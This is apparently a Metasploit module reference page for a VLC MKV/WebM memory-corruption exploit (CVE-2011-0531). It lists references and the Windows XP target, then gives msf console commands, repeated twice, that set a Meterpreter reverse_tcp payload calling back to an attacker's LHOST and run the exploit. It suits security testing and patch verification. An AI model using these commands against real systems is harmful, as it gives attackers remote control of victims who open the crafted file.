VideoLAN VLC MKV Memory Corruption
This module exploits an input validation error in VideoLAN VLC < 1.1.7. By creating a malicious MKV or WebM file, a remote attacker could execute arbitrary code. NOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to permanently enable NX support on machines that support it.
Exploit Rank
- Good
Exploit Authors
- Dan Rosenberg < >
Vulnerability References
- OSVDB-70698
- CVE-2011-0531
- BID-46060
- http://git.videolan.org/?p=vlc.git&a=commitdiff&h=59491dcedffbf97612d2c572943...
- http://www.videolan.org/security/sa1102.html
Exploit Targets
- 0 - VLC 1.1.6 on Windows XP SP3 (default)
Exploit Development
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Exploit Usage Information
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msf > use exploit/windows/fileformat/vlc_webm
msf exploit(vlc_webm) > show payloads
msf exploit(vlc_webm) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(vlc_webm) > set LHOST [MY IP ADDRESS]
msf exploit(vlc_webm) > exploit
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msf > use exploit/windows/fileformat/vlc_webm
msf exploit(vlc_webm) > show payloads
msf exploit(vlc_webm) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(vlc_webm) > set LHOST [MY IP ADDRESS]
msf exploit(vlc_webm) > exploit
Exploit Module Options
| FILENAME | The file name. (default: msf.webm) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |